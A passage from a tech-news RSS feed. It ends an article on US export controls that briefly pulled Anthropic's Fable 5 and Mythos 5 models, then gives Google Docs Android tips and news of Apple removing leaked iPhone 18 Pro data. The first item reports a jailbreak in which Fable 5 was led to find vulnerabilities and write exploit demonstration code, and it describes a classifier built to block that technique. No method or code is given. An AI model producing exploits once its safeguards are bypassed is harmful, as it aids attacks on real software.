ET, the U.S. government issues an export-control directive citing national security authorities. The order bans access to the models by any foreign national, whether inside or outside the borders of the United States. Lacking real-time mechanisms to verify user nationality at the API layer, Anthropic is forced to pull the plug for all customers to ensure compliance. Anthropic says access to all other Anthropic models was not affected.</p></li><li><p><b>June 13–25, 2026:</b> Enterprise users and developers face abrupt disruption, forcing workflows that had adopted Fable 5 or Mythos 5 to fall back to older models such as Opus 4.8. Tensions peak as Anthropic publicly objects, arguing that pulling a major commercial model over a narrow jailbreak finding could “essentially halt all new model deployments for all frontier model providers.”</p></li><li><p><b>June 26, 2026:</b> The U.S. government allows Anthropic to restore Mythos 5 access to a set of trusted U.S. organizations, partially reversing the June 12 order. Anthropic says it is restoring access for those organizations and continuing to work with the government to expand Mythos 5 access and make Fable 5 generally available again.</p></li><li><p><b>June 30, 2026:</b> Commerce Secretary Howard Lutnick sends a letter withdrawing the June 12 export-control license requirement for both Mythos and Fable. The decision removes the emergency legal block, but Anthropic’s rollout still treats the models differently: Fable 5 returns globally, while Mythos 5 remains limited to approved users through Glasswing and related trusted-access channels.</p></li></ul><h2><b>The Technical Catalyst: The Amazon Vulnerability Report</b></h2><p>The swift intervention by the federal government stemmed from a report by Amazon researchers describing a method for bypassing Fable 5’s safeguards. This was a brutal irony for Anthropic, given Amazon was one of the startup's initial and largest backers to the <a href="https://venturebeat.com/ai/amazon-doubles-down-on-anthropic-positioning-itself-as-a-key-player-in-the-ai-arms-race">tune of $8 billion</a>, and the two companies previously collaborated on <a href="https://www.anthropic.com/news/claude-and-alexa-plus">improving Amazon's Alexa+ voice assistant</a>.</p><p>According to Anthropic, the technique prompted Fable 5 to identify software vulnerabilities; in one case, the model produced code demonstrating how the relevant vulnerability could be exploited.</p><p>When the report reached government officials, it triggered alarm regarding the offensive cyber capabilities of public LLMs. Anthropic countered that the exploit did not tap into unique “Mythos-level” cyber capabilities, noting that its own testing found other models — including Claude Opus 4.8, OpenAI’s GPT-5.5, and Moonshot’s Kimi K2.7 — could identify the same vulnerabilities. Anthropic also said every model it tested could produce the same exploit demonstration as Fable 5.</p><p>To break the regulatory logjam, Anthropic developed an improved automated safety classifier specifically trained to catch and neutralize the Amazon technique. Tested by the Commerce Department’s Center for AI Standards and Innovation (CAISI), the updated classifier successfully halts that specific technique in more than 99% of cases.</p><p>Anthropic explicitly warns enterprise clients that this safety enforcement comes at an operational cost. Because the new classifiers require an expanded “safety margin” to catch ambiguous edge cases, benign coding and debugging requests may be flagged more often. When a prompt is blocked by the safety layer, the active session automatically downgrades, routing the request to Opus 4.8.</p><h2><b>Backroom Diplomacy: The Shifting of the Guard</b></h2><p>The breakthrough that brought Fable 5 back to commercial markets was as much political as it was technical. According to <a href="https://www.wired.com/story/trump-administration-lifts-export-controls-on-anthropics-mythos-and-fable-ai-models/">WIRED</a>, Anthropic initially argued that the administration’s security concerns were overblown and that no frontier model provider could guarantee zero jailbreaks.</p><p>That argument frustrated the administration, according to WIRED’s reporting. In recent weeks, Anthropic changed tack, focusing less on the theoretical impossibility of eliminating jailbreaks and more on building stronger safeguards and satisfying the government’s operational concerns.</p><p><a href="https://www.wired.com/story/the-trump-white-house-is-over-anthropics-dario-amodei/">WIRED reported</a> that Anthropic CEO Dario Amodei was recently replaced in meetings by Brown, whom officials liked more personally. Brown is also the addressee of Lutnick’s June 30 Commerce letter.</p><p>Under Brown’s guidance, Anthropic appears to have moved from arguing over the absolute limits of model safety to committing to the expanded safeguards and collaboration framework the administration demanded.</p><p>The resulting Commerce letter describes several commitments by Anthropic. Under the terms of the clearance, Anthropic has agreed to:</p><ol><li><p>Proactively detect and address security risks associated with the models.</p></li><li><p>Work with the U.S. government on protocols, standards and releases for Mythos, Fable and future models.</p></li><li><p>Inform the U.S. government of malicious activity.</p></li></ol><p>Separately, Anthropic says it will expand pre-release government access and evaluation for frontier models, share information rapidly when significant jailbreaks or misuse patterns are identified, dedicate resources to joint government research and work toward a common industry security bar.</p><p>The U.S. Commerce Department explicitly reserved the right to re-evaluate these permissions and re-impose license requirements if circumstances change or if Anthropic fails to meet its commitments.</p><h2><b>The Sovereign Calculus: Lessons for Enterprise AI</b></h2><p>The two-week blackout of Claude Fable 5 exposed the fragility of centralized, closed-API models for modern business infrastructure. It showed that enterprise automation pipelines remain vulnerable to sudden regulatory shifts and vendor compliance mandates.</p><p>The tech community’s response highlights a broader push toward hardware and model sovereignty. Following the initial shutdown, prominent tech figures voiced concerns over this centralization. <a href="https://x.com/AlexFinn?lang=en">AI founder Alex Finn </a>described the Anthropic freeze as a major “wakeup call,” urging developers to invest heavily in local, open-weights infrastructure to insulate operations from federal volatility. As Finn noted on social media:</p><blockquote><p>“No company or government will EVER be able to take away your local models.”</p></blockquote><p>For enterprise architects, the return of Fable 5 demands a balanced approach to deployment:</p><ul><li><p><b>The Frontier Performance Advantage:</b> Utilizing closed models like Fable 5 offers state-of-the-art capabilities across agentic coding, long-context work, document reasoning and multi-step enterprise automation, according to Anthropic’s launch materials and early customer examples.</p></li><li><p><b>The Mitigating Data Trade-Off:</b> Accessing Fable 5 means accepting Anthropic’s mandatory 30-day data retention requirement for covered models. Anthropic says prompts and model completions are retained for at least 30 days by default and then automatically deleted, except when they are part of a safety investigation or must be kept for legal reasons. Highly regulated financial, healthcare and legal groups must evaluate whether this telemetry window complies with their data privacy mandates.</p></li></ul><p>The truth is, enterprises in the U.S. and globally have more options than ever for frontier-class LLMs, especially with the recent launch over the last few months of new, powerful, open weights Chinese alternatives that can be downloaded, run locally or on virtual private clouds, and customized to an enterprise's liking. </p><p><a href="https://venturebeat.com/technology/minimax-m3-debuts-eclipsing-gpt-5-5-and-gemini-3-1-pro-on-key-benchmark-performance-for-just-5-10-of-the-cost">MiniMax M3 </a>pairs frontier-tier coding and agentic performance with a 1 million-token context window and native multimodality. Z.ai’s <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2's benchmark results</a> exceed OpenAI's GPT-5.5 on SWE-bench Pro and several long-horizon coding tests, and near Claude Opus 4.8 on FrontierSWE and MCP-Atlas. <a href="https://venturebeat.com/technology/meituan-open-sources-longcat-2-0-the-1-6t-near-frontier-agentic-coding-model-thats-been-leading-openrouter-trained-entirely-on-chinese-chips">Meituan’s LongCat-2.0 </a>is also positioned around enterprise use, with a 1 million-token context window, MIT licensing and strong early developer traction through its Owl Alpha run on OpenRouter — though as we reported, the full weights are still listed as “coming soon.” </p><p>Meanwhile, Anthropic's top domestic rival OpenAI is still struggling to release its latest models broadly due to U.S. government pressure. The company says its <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">newest and most powerful models, GPT-5.6 Sol, Terra and Luna</a> — unveiled last week — are starting in a limited preview for a small group of trusted partners after OpenAI previewed the models and their capabilities to the U.S. government and the government requested the rollout be staggered.</p><p>OpenAI says it still plans broader availability, but argued in its <a href="https://openai.com/index/previewing-gpt-5-6-sol/">announcement</a> that this kind of staggered rollout at the government's request "should become the long-term default. It keeps the best tools from users, developers, enterprises, cyber defenders, and global partners who need them. We are taking this short-term step because we believe it is the strongest path to broader availability in the coming weeks, while we work with the Administration to develop the cyber Executive Order framework and a repeatable process for future model releases."</p><p>The executive order in question, signed by <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security/">President Donald J. Trump on June 2, 2026</a>, calls upon various federal agencies to collaborate on a process for benchmarking and assessing capabilities of new AI models to ensure they are safe and appropriate for wide release, a process supposed to take 30 days (which would seem to indicate the agencies are due to provide their process tomorrow, July 2, 2026.)</p><p>Frontier model launches are starting to look less like ordinary product releases and more like negotiated deployments shaped by U.S. national security review — a shift that could slow American distribution even as Chinese competitors move aggressively through open-weight and lower-cost channels</p><p>To safeguard operations against future regulatory lockouts, enterprise technical leaders are moving toward model-agnostic fallback architectures. </p><p>By deploying proxy layers that can dynamically reroute critical production pipelines from proprietary APIs to locally hosted, open-weights alternatives, businesses can leverage top-tier capabilities without exposing themselves to single-point-of-failure vulnerabilities. </p><p>Fable 5 is officially back online, but the landscape governing its release has been fundamentally transformed.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[12 handy hidden Google Docs tricks for Android]]></title>
<description><![CDATA[Few apps are as essential to mobile productivity as the humble word processor. I think I’ve probably spent a solid seven years of my life staring at Google Docs on one device or another at this point, and those minutes only keep ticking up with practically every passing day.



While we can’t do ...]]></description>
<link>https://tsecurity.de/de/3638021/it-nachrichten/12-handy-hidden-google-docs-tricks-for-android/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638021/it-nachrichten/12-handy-hidden-google-docs-tricks-for-android/</guid>
<pubDate>Wed, 01 Jul 2026 11:47:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Few apps are as essential to mobile productivity as the humble word processor. I think I’ve probably spent a solid seven years of my life staring at Google Docs on one device or another at this point, and those minutes only keep ticking up with practically every passing day.</p>



<p>While we can’t do much about the need to gaze at that word-filled white screen, what we <em>can </em>do is learn how to make every moment spent within Docs count — and in the <a href="https://play.google.com/store/apps/details?id=com.google.android.apps.docs.editors.docs&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Docs Android app</a>, specifically, there are some pretty spectacular tucked-away time-savers just waiting to be discovered.</p>



<p>Make a mental note of these advanced shortcuts and options, and put ’em to good use the next time you find yourself staring at Docs on your own device.</p>



<h2 class="wp-block-heading">Google Docs Android feature #1: Smarter document organization</h2>



<p>We’ll save the best for, erm, first — ’cause the easily overlooked feature we’re kickin’ things off with can save you some serious time and make your mobile editing experience significantly easier.</p>



<p>After all, dealing with a complex document from your phone can be a real hassle. Who wants to waste time scrolling through endless-seeming screens to find the section of info you need to read, edit, or work on at any given moment?</p>



<p>I sure as heckfire don’t — and if you remember to use Docs’ out-of-the-way Outline option, you’ll never have to do it again, either. While viewing or editing any document with any sort of headers in it (be they actual header-formatted text or even just bolded section titles), tap the three-dot menu icon in Docs’ upper-right corner and then select “Document Outline.”</p>



<p>And by golly, wouldya look at that?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/01-google-docs-android-outline.jpg?quality=50&amp;strip=all&amp;w=996" alt="Google Docs Android: Document outline" class="wp-image-4191233" width="996" height="1024" sizes="auto, (max-width: 996px) 100vw, 996px"><figcaption class="wp-element-caption">An automatic document outline is never out of reach in the Docs Android app.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Jumping to any part of the document is now just a single tap away.</p>



<p><strong>[Psst: Love shortcuts? My </strong><a href="https://theintelligence.com/shortcut-ai/" target="_blank" rel="noreferrer noopener"><strong>Android Shortcut Supercourse</strong></a><strong> will teach you tons of time-saving tricks for every single part of your smartphone experience. </strong><a href="https://theintelligence.com/shortcut-ai/"><strong>Sign up now for free</strong></a><strong>!]</strong></p>



<h2 class="wp-block-heading">Google Docs Android feature #2: Instant tab access</h2>



<p>Speaking of organization, in that same section of the in-document three-dot menu resides an easily overlooked option called “Document tabs.”</p>



<p>Tap it, and you can then see, manage, and move among any tabs created within the document for added organization — just like in the Docs desktop interface.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/02-google-docs-android-tabs.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Tabs" class="wp-image-4191231" width="1024" height="1022" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Who knew?! Your Google Docs tabs are now accessible within the Docs Android app as well.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Yes, please — and thank you.</p>



<h2 class="wp-block-heading">Google Docs Android feature #3: Easier Word integration</h2>



<p>When you’re working with clients, colleagues, or even camels who for some reason prefer the Microsoft editing ecosystem, you don’t have to do much to bridge that gap. The Docs Android app can already open and allow you to edit Word files, without any work — and with one simple flip of a switch, you can <em>create</em> new files in the .DOCX format just as easily.</p>



<p>To find the feature, you’ve gotta back out of any actual documents and get onto the main Docs screen — the screen with the search box at the top and all your documents listed out beneath it. Tap the three-line menu icon in the upper-left corner of that screen and head into the Settings section of that main menu. There, you should see the very switch we need:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/03a-google-docs-android-create-word-files.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Create Word files" class="wp-image-4191225" width="1024" height="537" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Tick one toggle, and you can then create native Word files within the Docs Android app anytime.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Flip that into the on position, then back yourself out to the main Docs screen. The next time you tap the plus icon in that area’s lower-right corner, you should see “New Word file” show up as an option right above the default “New Docs file” command.</p>



<p>And just as a reminder, if you ever want to save an <em>existing</em> Docs file into the .DOCX format, you can do that, too: Tap the three-dot menu icon while editing a document, select “Share &amp; export,” then select “Save As” and choose the “Word (.docx)” option.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/03b-google-docs-android-save-word-files.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Save as Word" class="wp-image-4191226" width="1024" height="647" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Saving any document as a Word file is also easy, once you know where to look.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>You can also save the file as a PDF or other common document format from that same menu.</p>



<h2 class="wp-block-heading">Google Docs Android feature #4: The swift sender</h2>



<p>While we’re thinkin’ about dealing with different document formats, download this into your long-term memory: The next time you need to save or send a document as an actual <em>file</em> — as opposed to an in-app, collaboration-ready Google Docs share — you can save yourself the trouble of downloading and then reuploading the thing and simply send it directly from the Docs Android app.</p>



<p>The trick is to once again tap that three-dot menu icon whilst editing a file and then select that same “Share &amp; export” menu we just went over. But this time, instead of going with the “Save As” option, select “Send a copy.”</p>



<p>You can then pick from the same set of format choices we just finished exploring. And from there, Docs will allow you to choose from any compatible app on your device — everything from <a href="https://www.computerworld.com/article/1707648/best-email-and-texting-apps-for-android.html">Android email and messaging apps</a> to note-storing services like <a href="https://www.computerworld.com/article/1615550/3-fantastic-ways-notion-can-make-you-more-efficient.html">Notion</a> and <a href="https://www.computerworld.com/article/1724688/27-advanced-trello-tips-and-tricks.html">Trello</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/04-google-docs-android-send.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Share" class="wp-image-4191230" width="1024" height="997" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Send any document into any other compatible app on your phone for a simplified sharing setup.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>All it takes is one more tap from there, and your document will be on its way to the appropriate place in the format you requested — just like that.</p>



<h2 class="wp-block-heading">Google Docs Android feature #5: The local file finder</h2>



<p>Ever download a document onto your phone — be it from an email, a Slack channel, a website, or any other such source — and then later find yourself struggling to find it? Well, get this: Google’s got its own simple file finder ready and waiting for you right within the regular Docs app. Who woulda thunk, right?!</p>



<p>But oh, it be there, all righty. It’s that innocuous little folder icon within the search bar on the main Docs screen — something I must’ve seen about a thousand times before I ever thought to actually tap it.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/05-google-docs-android-files.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Files" class="wp-image-4191223" width="1024" height="180" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Whoa — a built-in Docs file finder?!</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>When you do, the app will prompt you to find a saved file from either your local phone storage or from your online Drive storage. And once you select either option, you can browse through the associated place to see what’s there or search to find exactly what you’re after — no hopping over to a separate <a href="https://www.computerworld.com/article/1718187/android-file-manager-apps.html">Android file manager</a> required.</p>



<h2 class="wp-block-heading">Google Docs Android feature #6: The Drive detour</h2>



<p>Speaking of Google Drive, if you ever find yourself needing to mosey over to the full Drive interface to dig around more deeply or pull up a file that isn’t text-related, here’s a handy little secret:</p>



<p>You can actually fly from Docs directly to Drive <em>without </em>going through all the usual steps — y’know, heading back to your home screen, finding the Drive icon, and opening it up anew from there.</p>



<p>Just rely on the Docs app’s artfully hidden Drive shortcut to slash steps and zip straight between the two related interfaces. The option is quietly waiting for you within the three-line menu icon on the main Docs screen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/06-google-docs-android-drive.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Google Drive" class="wp-image-4191221" width="1024" height="707" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Docs and Drive — BFFs forever.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And now you know.</p>



<h2 class="wp-block-heading">Google Docs Android feature #7: The account adjuster</h2>



<p>Keep that overly moist eyeball of yours in that same area of the Docs app interface for a minute, ’cause we’ve got one more sneaky shortcut worth unearthing there.</p>



<p>It’s a shortcut baked into your face — or whatever sort of image you’ve got in place for your Google account profile photo, up in the app’s upper-right corner.</p>



<p>As is the case with most Google-made apps on Android these days, you can swipe up or down on that image to flip through any additional accounts you’ve got connected on your phone. If you only have a single account set up, this obviously won’t apply to you. But if you have, say, a personal Google account and a work address or even a few different situation-specific personal or work identities, it’s a splendid way to move between ’em with next to no effort and just a single swift swipe.</p>



<h2 class="wp-block-heading">Google Docs Android feature #8: The direct document shortcut</h2>



<p>Another shortcut worth burning into your brainspace: If you find yourself working on a specific document or set of documents frequently — whether they’re evolving documents you access all the time or just specific projects on your radar at one particular moment — save yourself the steps of opening the Docs app, finding ’em there, and then tapping their titles to get into ’em and instead give yourself one-tap shortcuts to open the files directly from your home screen.</p>



<p>The option to do that is pretty buried, but it’s well worth digging up. Start by finding the document in question on the main Docs screen. Long-press it, and then look way down on the menu that pops up for the “Add to home screen” command. (Depending on the size of your phone, you might have to scroll down that menu a bit before you’ll see it appear.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/08a-google-docs-android-add-to-home-screen.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Add to home screen" class="wp-image-4191219" width="1024" height="1002" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">You’ve usually gotta scroll to find it, but Docs’ “Add to home screen” option is there and ready to save you time.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Tap that bad boy and follow the prompt to place the shortcut wherever you want it — and say “hocus pocus” for good measure, if you’re feelin’ merry — and before you know it, you’ll have an app-like icon sitting right on your home screen. Tapping it will take you directly into the document you selected, without any extra steps required.</p>



<p>You could even get ambitious and create an entire <em>folder </em>on your home screen where you store a variety of high-priority or in-progress documents.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/08b-google-docs-android-home-screen.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Home screen" class="wp-image-4191220" width="1024" height="406" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">What’s up, Docs?</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Three cheers for seconds saved!</p>



<h2 class="wp-block-heading">Google Docs Android feature #9: Quick function shortcuts</h2>



<p>Let’s keep our shortcut mojo goin’ for one more minute, shall we? You can actually follow that same pattern we just went over and and put shortcuts for common Docs commands like creating a new document or searching your existing documents right on your home screen, too. That way, you can perform the associated commands quickly and without any wasted effort opening up the app and hunting around for ’em — and what’s not to love about added efficiency?</p>



<p>These are actually part of Android’s oft-forgotten App Shortcuts system — the thing that came around way back with 2016’s Android 7.1 Nougat release and that’s still vexingly <a href="https://www.computerworld.com/article/1675828/android-app-shortcuts.html">out of sight and out of mind</a> for most of us.</p>



<p>Open up your app drawer, though, and find the Docs icon — or find the Docs icon on your home screen, if it’s there. Press and hold it, and you should see a series of options for direct shortcuts to actions <em>within</em> the app appear.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/09a-google-docs-android-home-screen-shortcuts.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Home screen shortcuts" class="wp-image-4191228" width="1024" height="558" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">All sorts of helpful Docs options are accessible right from your home screen.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>You can always get to those by long-pressing the Docs icon, but if you find yourself using the functions often, you can make it even easier by pressing and holding one of ’em within that pop-up menu and then dragging it directly onto your home screen for one-touch access.</p>



<p>You could even build yourself a nifty little Docs command center for super-fast access to all the stuff you use the most:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/09b-google-docs-android-home-screen-command-bar.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Home screen command bar" class="wp-image-4191232" width="1024" height="419" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Docs, Docs, everywhere — so many options, never more than a tap away.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And while we’ve got easy access on our minds…</p>



<h2 class="wp-block-heading">Google Docs Android feature #10: The offline on switch</h2>



<p>By default, the Docs Android app will make any files you actively work within the app available for offline use for a while — but if you’re getting ready to travel or expecting any other connectivity-challenged moments, you don’t have to rely on its judgment to make sure your stuff is accessible even without internet access.</p>



<p>From the main Docs screen, tap the three-dot icon alongside any document name and then look for the “Make available offline” option within the menu that pops up.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/10-google-docs-android-offline.jpg?quality=50&amp;strip=all&amp;w=990" alt="Google Docs Android: Offline" class="wp-image-4191229" width="990" height="1024" sizes="auto, (max-width: 990px) 100vw, 990px"><figcaption class="wp-element-caption">Pro tip: Turn offline access on <em>before</em> the need actually arises.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Tap that for any document that you expect to need and then rest easy knowing it’ll be there and available for you — no matter your current connection status.</p>



<h2 class="wp-block-heading">Google Docs Android feature #11: Wordless reactions</h2>



<p>Sometimes, a picture really is worth a thousand words. Or at least a couple hundred.</p>



<p>That’s especially true when collaborating on a document and expressing your opinions — which, let’s be honest, often come down to simple reactions like 👍 or maybe 💩.</p>



<p>Docs has allowed emoji reactions as a part of its editing process for a while now, and at some point along the way, the Android app gained the same ability. It’s just weirdly tucked away in a place where few word-minded mammals would ever find it.</p>



<p>So do this: The next time you’re working on a shared doc, try pressing and holding your finger onto any word to highlight it. (You can then use the selector icons that pop up to expand or shift your selection, if needed.)</p>



<p>Now for the tricky part: In the menu that appears alongside your selection — the one that contains “Copy” and other such commands — look for the three-line icon at its far right side.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/11a-google-docs-android-reactions-menu.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Add emoji reaction menu" class="wp-image-4191222" width="1024" height="126" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">See that little three-line icon within the text actions pop-up? </figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Tap that — and lookie what we have here: the awkwardly hidden option to add an emoji reaction! 🥳</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/11b-google-docs-android-reactions.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Add emoji reaction" class="wp-image-4191224" width="1024" height="192" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Emojis for everyone — hip, hip, hoorah!</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Hit that sneaky little thing with all your might, then select the most appropriate reaction and move on with a satisfied 😊 in your mind.</p>



<h2 class="wp-block-heading">Google Docs Android feature #12: Your in-doc AI</h2>



<p>Generative AI these days is a bit of a mixed bag, to put it politely. Google’s Gemini and other such services are arguably <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">causing more harm than good</a>, on <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">numerous levels</a>, and also just creating paths for lazy, low-quality and accuracy-challenged work.</p>



<p>But in the right scenario and with the right sort of framing, Gemini-style AI <em>can</em> <a href="https://www.computerworld.com/article/4007736/gemini-android.html">actually be useful</a>. The onus just falls squarely on <em>you</em> to determine how to most effectively use it and avoid falling into the traps of unoriginality or, worse, inaccuracy.</p>



<p>The Docs Android app now offers a direct shortcut to Gemini within its editing interface — via the starburst-shaped icon in the toolbar at the top of the screen — and with some careful considering, it might just end up being a helpful reading or editing tool for you.</p>



<p>A few suggestions that notably <em>don’t </em>involve having AI write lazy, uninspired copy on your behalf:</p>



<ul class="wp-block-list">
<li>You can use the Gemini in Docs system as a quick ‘n’ easy way to get a definition or list of synonyms for any word in front of you.</li>



<li>You can also use it to ask for context or related information — like an integrated research aide. (Just remember that AI doesn’t always get things right, so treat it as more of a starting point than a final quote-ready answer.)</li>



<li>And you can lean on it to perform tasks like summarizing or outlining a long document or helping you reorganize a document into a more logical state.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/12-google-docs-android-gemini.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Gemini" class="wp-image-4191227" width="1024" height="814" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Gemini is now available directly within Docs. Please, use it wisely.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>You may still end up spending a ton of time in Docs, but at least now you’ll make the most of every second there and avoid wasting your effort on piddly little tasks that can be made more efficient. And that, as far as I’m concerned, warrants an enthusiastic 🥂 reaction — maybe even followed by a well-earned 🍪.</p>



<p><i>Get six full days of advanced Android knowledge with <a href="https://theintelligence.com/shortcut-ai/" target="_blank" rel="noreferrer noopener"><strong>my free Android Shortcut Supercourse</strong></a>. You’ll learn tons of time-saving tricks for your phone!</i></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Takes Down Social Media Posts Exposing Stolen iPhone 18 Pro Data]]></title>
<description><![CDATA[Apple is aggressively removing social media posts that show stolen details about its unreleased iPhone 18 Pro. Following a massive cybersecurity breach at a Tata assembly plant in India, hackers leaked hundreds of gigabytes of confidential manufacturing data online. The tech company is now using ...]]></description>
<link>https://tsecurity.de/de/3637331/ios-mac-os/apple-takes-down-social-media-posts-exposing-stolen-iphone-18-pro-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637331/ios-mac-os/apple-takes-down-social-media-posts-exposing-stolen-iphone-18-pro-data/</guid>
<pubDate>Wed, 01 Jul 2026 05:36:00 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is aggressively removing social media posts that show stolen details about its unreleased iPhone 18 Pro. Following a massive cybersecurity breach at a Tata assembly plant in India, hackers leaked hundreds of gigabytes of confidential manufacturing data online. The tech company is now using strict copyright claims to scrub test videos, component lists, and internal design documents from platforms like X before the official launch.



The legal team targets specific accounts sharing factory test videos



Videos showing drop tests of a new silver handset started circulating on social media recently. The footage revealed a phone that looks similar to the older iPhone 17 Pro, featuring the familiar three camera layout but lacking a two tone design. Within a day, those posts started disappearing from X. The platform replaced the missing videos with warnings about rule violations and even suspended several prominent accounts.



Leakers who usually share Apple rumors are feeling the impact of these sudden takedowns. The popular EVLeaks account was suspended after sharing the stolen material. The company is using copyright claims to force platforms to act quickly, and the aggressive strategy seems to be working across both western networks and international sites like Weibo.



The company protects real trade secrets after a major hack



While the tech giant usually ignores standard internet rumors, this situation is entirely different. The leaked information is not based on guesswork or insider tips. It comes directly from a cyberattack that stole over 630 gigabytes of data from a Tata manufacturing facility. The stolen files include genuine internal documents, logic board designs, and data sheets for the upcoming A20 chip.



